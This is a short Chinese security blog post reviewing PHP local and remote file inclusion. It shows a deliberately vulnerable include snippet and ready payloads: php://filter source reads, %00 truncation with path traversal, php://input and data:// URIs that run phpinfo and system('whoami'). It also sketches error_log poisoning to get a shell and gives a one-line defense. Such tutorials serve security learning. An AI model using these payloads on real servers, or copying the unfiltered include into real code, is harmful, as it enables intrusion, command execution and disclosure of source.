<?php
if ($_GET['page']) {
include $_GET['page'];
} else {
include 'index.php';
}
?>
程序的本意是当提交url为http://127.0.0.1/page.php?page=index.php时,调用index.php里面的样式内容和功能。
但是由于page参数没有过滤,我们可以自定义参数的内容,导致了文件包含漏洞的产生。
但是如果我要去读一个php文件的内容,却无法显示,他会被当作一个php脚本被执行。
那么解决方法就是把文件的内容以base64编码然后显示出来。
http://192.168.1.130/page.php?page=php://filter/read=convert.base64-encode/resource=page.php
假设1.txt这个文件里面的内容为phpinfo
包含一下,txt文件就会被当作php来执行。
然而有些时候:
要结合php的%00特性来进行截断包含。
条件:magic_quotes_gpc=off,PHP小于5.3.4有效
当然,在unix系统上可以用00截断进行目录遍历。
?page=../../../../../../../../../var/www/%00
php://input
条件:在allow_url_include = On 且 PHP >= 5.2.0,可以直接执行php代码.
page=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=
page=data:;base64,PD9waHBpbmZvKCk7Lyo=
page=data:text/plain,<?php system("whoami");>;
拿shell
本地文件包含拿shell的方法还有很多,比如访问一个错误的界面,url包含一句话木马,然后包含apache的错误文件error_log则能够成功执行。
远程文件包含
需要allow_url_fopen=On并且 allow_url_include=On
有时需要00截断或#注释。
防御方法:
if ($_GET['page'] == "index") {include("index.php");} else {include ("default.php");}
可能会漏掉一些东西,记不起来咯。。。
参考:
http://blog.csdn.net/cnbird2008/article/details/8520667
http://drops.wooyun.org/tips/3827
https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
本文始发于微信公众号(关注安全技术):回顾LFI/RFI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论